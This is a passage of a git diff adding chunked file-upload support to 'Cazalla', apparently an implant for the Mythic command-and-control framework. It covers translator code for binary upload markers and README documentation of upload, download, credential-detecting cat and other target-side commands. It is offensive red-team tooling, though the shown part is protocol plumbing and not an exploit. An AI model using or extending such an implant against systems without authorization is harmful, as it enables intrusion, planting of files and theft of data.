sequences of double backslashes with single backslash + while "\\\\" in path: + path = path.replace("\\\\", "\\") + parameters["path"] = path data += len(parameters).to_bytes(4,"big") for param in parameters: data += len(parameters[param]).to_bytes(4, "big") @@ -133,5 +142,20 @@ def responsePosting(responses): data += len(file_id_bytes).to_bytes(4, "big") data += file_id_bytes print(f"[DOWNLOAD] File ID agregado a respuesta binaria: {file_id}") + + # Check if this response is for an upload request + # When Mythic responds to an upload request, it includes upload data directly in response + # Format from Mythic: {"chunk_data": "...", "chunk_num": 1, "total_chunks": 1, "file_id": "...", ...} + if "chunk_data" in response and "chunk_num" in response: + # Format: [0xF9 marker][total_chunks:4][chunk_num:4][chunk_data_len:4][chunk_data_base64] + data += bytes([0xF9]) # Upload response marker + data += response.get("total_chunks", 0).to_bytes(4, "big") + data += response.get("chunk_num", 0).to_bytes(4, "big") + + chunk_data_b64 = response.get("chunk_data", "") + chunk_data_bytes = chunk_data_b64.encode('utf-8') + data += len(chunk_data_bytes).to_bytes(4, "big") + data += chunk_data_bytes + print(f"[UPLOAD] Upload response agregado: total_chunks={response.get('total_chunks', 0)}, chunk_num={response.get('chunk_num', 0)}, data_len={len(chunk_data_bytes)}") return data diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index 3524999..7c2d93e 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -189,6 +189,7 @@ def postResponse(data): credentials_data = [] download_registration = None download_chunk = None + upload_request = None remaining_data = data while len(remaining_data) >= 5: # At least: marker (1) + type_len (4) @@ -419,6 +420,64 @@ def postResponse(data): remaining_data = remaining_data[offset:] except: break + elif remaining_data[0] == 0xF8: + # Upload request marker found + # Format: [0xF8][file_id_len:4][file_id][chunk_size:4][chunk_num:4][full_path_len:4][full_path] + offset = 1 + + # Extract file_id + if len(remaining_data) < offset + 4: + break + file_id_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + if file_id_len == 0 or len(remaining_data) < offset + file_id_len: + break + + try: + file_id = remaining_data[offset:offset+file_id_len].decode('cp850') + offset += file_id_len + except: + break + + # Extract chunk_size + if len(remaining_data) < offset + 4: + break + chunk_size = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + # Extract chunk_num + if len(remaining_data) < offset + 4: + break + chunk_num = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + # Extract full_path + if len(remaining_data) < offset + 4: + break + path_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + full_path = "" + if path_len > 0: + if len(remaining_data) < offset + path_len: + break + try: + full_path = remaining_data[offset:offset+path_len].decode('cp850') + offset += path_len + except: + break + + # Store upload request info (will be used to construct Mythic JSON) + upload_request = { + "file_id": file_id, + "chunk_size": chunk_size, + "chunk_num": chunk_num, + "full_path": full_path + } + print(f"[UPLOAD] Request detectado: file_id={file_id}, chunk_num={chunk_num}, chunk_size={chunk_size}, path={full_path}") + + remaining_data = remaining_data[offset:] else: # No more markers break @@ -528,6 +587,21 @@ def postResponse(data): "chunk_data": download_chunk["chunk_data"] } print(f"[DOWNLOAD] Download chunk agregado al JSON: chunk_num={download_chunk['chunk_num']}, file_id={download_chunk['file_id']}, data_len={len(download_chunk['chunk_data'])}") + + # Add upload request information if present + if upload_request: + # For upload requests, we ONLY send the upload info, no user_output + # Remove user_output if it was added + if "user_output" in jsonTask: + jsonTask.pop("user_output", None) + + jsonTask["upload"] = { + "file_id": upload_request["file_id"], + "chunk_size": upload_request["chunk_size"], + "chunk_num": upload_request["chunk_num"], + "full_path": upload_request["full_path"] + } + print(f"[UPLOAD] Upload request agregado al JSON: file_id={upload_request['file_id']}, chunk_num={upload_request['chunk_num']}, chunk_size={upload_request['chunk_size']}") resTaks.append(jsonTask) diff --git a/README.md b/README.md index 334c4af..98dd901 100644 --- a/README.md +++ b/README.md @@ -26,6 +26,7 @@ - [Artifacts Support](#artifacts-support) - [Credentials Support](#credentials-support) - [File Downloads Support](#file-downloads-support) +- [File Uploads Support](#file-uploads-support) - [Development](#development) - [Troubleshooting](#troubleshooting) - [Credits](#credits) @@ -183,6 +184,7 @@ For more information, see the [Mythic documentation on customizing public agents | `rm` | Delete file or directory | `rm C:\temp\file.txt` | | `cat` | Read file contents (with automatic credential detection) | `cat C:\path\to\file.txt` | | `download` | Download file from target to Mythic server | `download C:\path\to\file.txt` | +| `upload` | Upload file from Mythic server to target | `upload C:\path\to\destination.txt` | ### Execution & Control @@ -561,6 +563,7 @@ Currently supported: - **File Write**: Automatically reported for: - `cp` (copy) - reports destination file path - `mkdir` (create directory) - reports created directory path + - `upload` - reports destination file path when uploading files - **File Delete**: Automatically reported for: - `rm` (delete) - reports deleted file/directory path - **File Read**: Automatically reported for: @@ -573,7 +576,6 @@ Currently supported: - `cat` - read-only file operation (doesn't create artifacts, but may report credentials) Future support can be added for: -- **File Write**: For file upload operations (e.g., `upload` command) - **Network Connection**: When network operations occur (e.g., for `socks` proxy connections) - **Registry Modification**: When registry keys are modified (e.g., `reg_set`, `reg_delete`) - **Process Inject**: When processes are injected into (e.g., `inject` command) @@ -610,6 +612,7 @@ Example implementations: - `shell`: Process Create artifact with command - `cp`: File Write artifact with destination path - `mkdir`: File Write artifact with directory path +- `upload`: File Write artifact with destination file path - `rm`: File Delete artifact with deleted path - `download`: File Read artifact with downloaded file path @@ -882,6 +885,112 @@ For more information, see the [Mythic File Downloads documentation](https://docs --- +## 📤 File Uploads Support + +Cazalla supports uploading files from the Mythic server to the target using chunked transfers, following [Mythic's File Upload specification](https://docs.mythic-c2.net/customizing/hooking-features/action-upload). + +### Features + +- **Chunked File Transfers**: Large files are automatically split into chunks (512KB default) for efficient transfer +- **Automatic Path Normalization**: Automatically handles path formatting (normalizes double backslashes) +- **Smart Path Handling**: Automatically appends filename when path is a directory +- **Progress Tracking**: Mythic tracks upload progress (chunks sent/total chunks) +- **File Write Artifacts**: Automatically reports File Write artifacts when files are uploaded + +### How It Works + +1. **Command Execution**: When you execute `upload C:\path\to\destination.txt`, the agent: + - Receives the `file_id` and destination path from Mythic + - Normalizes the destination path (handles double backslashes, directories, etc.) + - Creates the destination file + - Requests file chunks from Mythic sequentially + - Receives base64-encoded chunk data from Mythic + - Decodes and writes chunks to the destination file + - Reports a File Write artifact when complete + +2. **Mythic Integration**: The upload is automatically: + - Tracked with progress in Mythic's UI + - Registered as a File Write artifact + - Visible in Mythic's Artifacts page + +### Using the Upload Command + +```bash +# Upload a file to the target +# Select file from Mythic UI file selector, then specify destination path +upload C:\Users\localuser\Downloads\file.txt + +# Uploads are chunked automatically - Mythic will show progress +``` + +### Upload Process + +1. **Request**: Agent sends upload request to Mythic for each chunk: + - `file_id`: Unique identifier for the file to upload + - `chunk_num`: Automatically incremented (1, 2, 3, ...) + - `chunk_size`: Size requested per chunk (512KB default) + - `full_path`: Destination path on the target + +2. **Response**: Mythic responds with chunk data: + - `total_chunks`: Total number of chunks for the file + - `chunk_num`: Current chunk number + - `chunk_data`: Base64-encoded chunk data + +3. **Writing**: Agent decodes and writes each chunk sequentially + +4. **Completion**: Once all chunks are received and written, the file is complete + +### Example Upload Flow + +``` +Mythic: Task created with file_id and path +Agent: [upload] Iniciando upload: C:\Users\file.txt (2 chunks) +Agent: [upload] Solicitando chunk requesting chunk 1 +Mythic: Response with chunk 1/2 (512KB base64 data) +Agent: [upload] Chunk 1/2 escrito: 512000 bytes +Agent: [upload] Solicitando chunk requesting chunk 2 +Mythic: Response with chunk 2/2 (512KB base64 data) +Agent: [upload] Chunk 2/2 escrito: 512000 bytes +Agent: [upload] Upload completado: C:\Users\file.txt (1024000 bytes) +Mythic: File Write artifact created +``` + +### Path Handling + +The upload command includes smart path handling: + +- **Normalization**: Automatically normalizes double backslashes (`C:\\\\Users` → `C:\Users`) +- **Directory Detection**: If the path is a directory, automatically appends the filename from Mythic +- **Full Path Resolution**: Uses `GetFullPathName` to resolve relative paths to absolute paths +- **Error Handling**: Clear error messages for invalid paths, access denied, or directory issues + +### Implementation Details + +The upload system uses: +- **Chunk Size**: 512KB per chunk (configurable in code) +- **Base64 Decoding**: Chunk data is automatically decoded from base64 before writing +- **Sequential Requests**: Agent requests chunks one at a time (1, 2, 3, ...) +- **Artifact Reporting**: Automatically reports "File Write" artifact with file path + +### Error Handling + +The upload command handles various error scenarios: +- **Invalid Path**: Returns error if path is invalid or malformed +- **Directory as Path**: Detects and reports error if path is a directory without filename +- **Access Denied**: Returns Windows error code if file cannot be created/written +- **Path Not Found**: Returns error if parent directory does not exist + +### Viewing Upload Artifacts + +1. Navigate to your callback in the Mythic UI +2. Click the **Artifacts** icon (fingerprint) in the top navigation +3. Filter by "File Write" artifact type +4. View all files that were uploaded, including file paths and timestamps + +For more information, see the [Mythic File Upload documentation](https://docs.mythic-c2.net/customizing/hooking-features/action-upload). + +--- + ## 🔧 Development ### Project Structure